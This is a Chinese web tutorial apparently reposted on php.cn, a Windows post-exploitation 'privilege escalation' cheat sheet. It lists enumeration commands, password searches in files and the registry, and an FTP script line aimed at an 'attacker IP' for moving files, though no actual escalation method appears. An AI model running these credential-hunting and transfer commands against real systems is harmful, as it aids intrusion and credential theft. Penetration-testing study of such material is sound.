微信公众号 讲师中心
首页
文章
后端开发 web前端 数据库 开发工具 php框架 常见问题 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程 自媒体 新闻
专题
后端开发 web前端 数据库 开发工具 php框架 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程 新闻
AI工具
AI 聊天问答 Agent智能体 AI 文本写作 AI 绘画作图 AI 设计工具 AI 视频创作 AI 音频制作 AI 办公学习 AI 编程开发 Prompt指令
学习
大前端 后端开发 数据库 移动端 运维开发 计算机基础
编程手册
大前端 后端开发 数据库 移动端 运维开发 计算机基础
下载
js特效 网站源码 工具下载 类库下载 网站素材 学习资源 插件扩展 手机/移动开发 手机游戏
搜索
后端开发 web前端 数据库 开发工具 php框架 常见问题 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程
自媒体 新闻
首页 > 系统教程 > Windows系列 > 正文

Windows提权备忘录

星夢妙者
发布： 2025-09-07 08:45:19
原创
900人浏览过

当我们得到目标权限，如何尽可能全面的获取目标信息或者提权呢？本文让我们一起来学习吧！

信息收集

查找已安装的软件，正在运行的进程，查找已安装的修补程序，体系结构，操作系统版本等等。

获取系统信息

<pre class="brush:php;toolbar:false;">systeminfo
登录后复制
Windows提权备忘录

获取主机名

<pre class="brush:php;toolbar:false;">hostname
登录后复制
Windows提权备忘录

显示当前用户名

<pre class="brush:php;toolbar:false;">echo %username%
登录后复制
Windows提权备忘录

列出所有用户

<pre class="brush:php;toolbar:false;">net users
登录后复制
Windows提权备忘录

列出用户的相关信息

<pre class="brush:php;toolbar:false;">net users Administrator
登录后复制
Windows提权备忘录

当前网络信息

<pre class="brush:php;toolbar:false;">pconfig /all & route print & arp -a
登录后复制
Windows提权备忘录

当前网络连接

<pre class="brush:php;toolbar:false;">netstat -aton
登录后复制

利用此命令，我们可以排查系统中的异常连接。

提客AI提词器
提客AI提词器

「直播、录课」智能AI提词，搭配抖音直播伴侣、腾讯会议、钉钉、飞书、录课等软件等任意软件。

提客AI提词器 64
查看详情 提客AI提词器
Windows提权备忘录

检查启动的Windows服务器

<pre class="brush:php;toolbar:false;">net start
登录后复制
Windows提权备忘录

查找敏感信息

在系统中，目标可能会存放很多敏感的信息，如各类账号和密码。我们可以利用下面命令查找目标中存放的账号和密码信息。

<pre class="brush:php;toolbar:false;">findstr /si password *.txt
登录后复制
Windows提权备忘录

在文件中查找关键词内容。

<pre class="brush:php;toolbar:false;">findstr /spin "password" *.*
登录后复制
Windows提权备忘录

在注册表中搜索密码

<pre class="brush:php;toolbar:false;">reg query HKLM /f password /t REG_SZ /s
登录后复制
Windows提权备忘录

传输文件

我们可以利用

NC
登录后复制
等工具传送文件，也可以系统自带的工具进行文件传输。

<pre class="brush:php;toolbar:false;">echo open 攻击者ip 21> ftp.txt
登录后复制

当然，也可以与RDP共享文件夹

<pre class="brush:php;toolbar:false;">rdesktop (ip) -r disk:share=/home/kali
登录后复制

漏洞扫描

对于漏洞扫描，可以利用nessus awvs等工具进行漏送扫描。在前面的文章中已经讲到过，可以自行搜索。

以上就是Windows提权备忘录的详细内容，更多请关注php中文网其它相关文章！

相关标签：
word windows 操作系统 工具 注册表 win 系统版本 windows

大家都在看：

最佳 Windows 性能的顶级免费优化软件
最佳 Windows 性能的顶级免费优化软件

每个人都需要一台速度更快、更稳定的 PC。随着时间的推移，垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是，许多工具可以让 Windows 保持平稳运行。

下载
来源：php中文网
收藏 点赞
上一篇：win10台式电脑双显卡如何切换独立显卡？ 下一篇：Chrome 77正式版新功能：允许用户将任意页面发送给其他设备
本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系admin@php.cn
作者最新文章
最新问题
win10怎么查询笔记本电池损耗_win10笔记本电池健康查看方法 可通过系统命令或第三方工具检测电池健康状况。首先在管理员权限下运行powercfg/batteryreport生成HTML报告，查看设计容量与满充容量以评估损耗；其次创建批处理文件实现一键生成报告并自动打开；最后可借助BatteryInfoView等工具获取更直观的健康度百分比及实时数据。
2025-11-15 08:37:55
994
win11开机后桌面图标加载慢怎么办_Windows11桌面图标加载优化方法 首先重启Windows资源管理器以刷新桌面进程，接着禁用高影响的开机启动项减轻系统负载，然后将系统性能设置为最佳性能模式关闭视觉特效，再终止占用资源的Microsoft资讯后台进程，最后通过注册表新建ExtendedUIHoverTime值设为9000优化悬停响应时间，逐步解决桌面图标加载缓慢问题。
2025-11-15 05:57:10
385
windows10如何显示文件扩展名_Windows文件扩展名显示设置步骤 首先通过文件资源管理器勾选“文件扩展名”可快速显示完整类型，其次在控制面板的文件夹选项中取消“隐藏已知文件类型的扩展名”实现全局设置，最后可通过注册表编辑器修改HideFileExt值为0以强制显示，适用于高级用户。
2025-11-15 05:35:26
980
win11怎么显示或隐藏桌面图标_Windows 11桌面图标显示设置 可通过右键菜单快速切换桌面图标显示状态，或通过个性化设置选择性管理特定系统图标，还可使用搜索功能直接访问设置页面完成调整。
2025-11-15 05:13:17
718
win11的copilot无法使用怎么办 Win11 AI助手Copilot无法启动修复 首先检查系统区域设置并更改为支持地区，随后可通过修改注册表、使用ViVeTool工具解锁功能、手动运行Edge链接或执行完全关机重启来恢复Copilot服务。
2025-11-15 04:51:20
869
windows11如何解决显示器颜色偏黄或不正常_Windows 11显示器色彩校准教程 首先使用Windows11内置校准工具调整伽马、亮度、对比度和颜色平衡，随后检查并关闭夜间模式，接着通过颜色管理更换为sRGB配置文件，最后更新或重装显卡驱动以解决颜色异常问题。
2025-11-15 04:17:28
431
win10怎么禁用特定驱动更新 win10防止Windows自动更新硬件驱动 可通过设备管理器、组策略或注册表三种方法阻止Windows10自动更新驱动。一、在设备管理器中为特定硬件重新选择当前驱动，标记为用户手动安装；二、使用组策略编辑器启用“关闭Windows更新设备驱动程序搜索”策略；三、通过注册表创建DriverSearching项并设置DriverUpdateWizardWuSearchEnabled值为0，禁用驱动自动更新功能。
2025-11-15 02:15:26
928
win11怎么恢复已删除文件 Win11回收站和文件恢复软件使用指南 首先尝试Ctrl+Z撤销删除或从回收站还原文件；若已清空回收站，则使用文件历史记录、系统还原点功能恢复；最后可借助嗨格式数据恢复大师等专业软件扫描恢复。
2025-11-15 01:47:21
138
win10怎么开启内核隔离内存完整性 win10 VBS虚拟化安全设置 通过Windows安全中心、组策略、注册表或命令提示符可启用基于虚拟化的安全性（VBS）内存完整性功能，增强Windows10内核防护，需重启生效。
2025-11-15 00:45:24
123
win11怎么使用手机连接电脑 Win11“连接到Windows”功能详解 首先确保电脑和手机系统兼容并更新至最新版本，然后在MicrosoftStore安装“手机连接”应用，通过扫描二维码或使用USB数据线配对设备，并确认两者连接同一Wi-Fi网络以完成连接。
2025-11-14 23:01:02
971
相关专题
更多>
热门推荐
开源免费商场系统广告
热门教程
更多>
相关推荐
热门推荐
最新课程
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新 English
php中文网：公益在线php培训，帮助PHP学习者快速成长！
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号

  • PHP学习

  • 技术支持

  • 返回顶部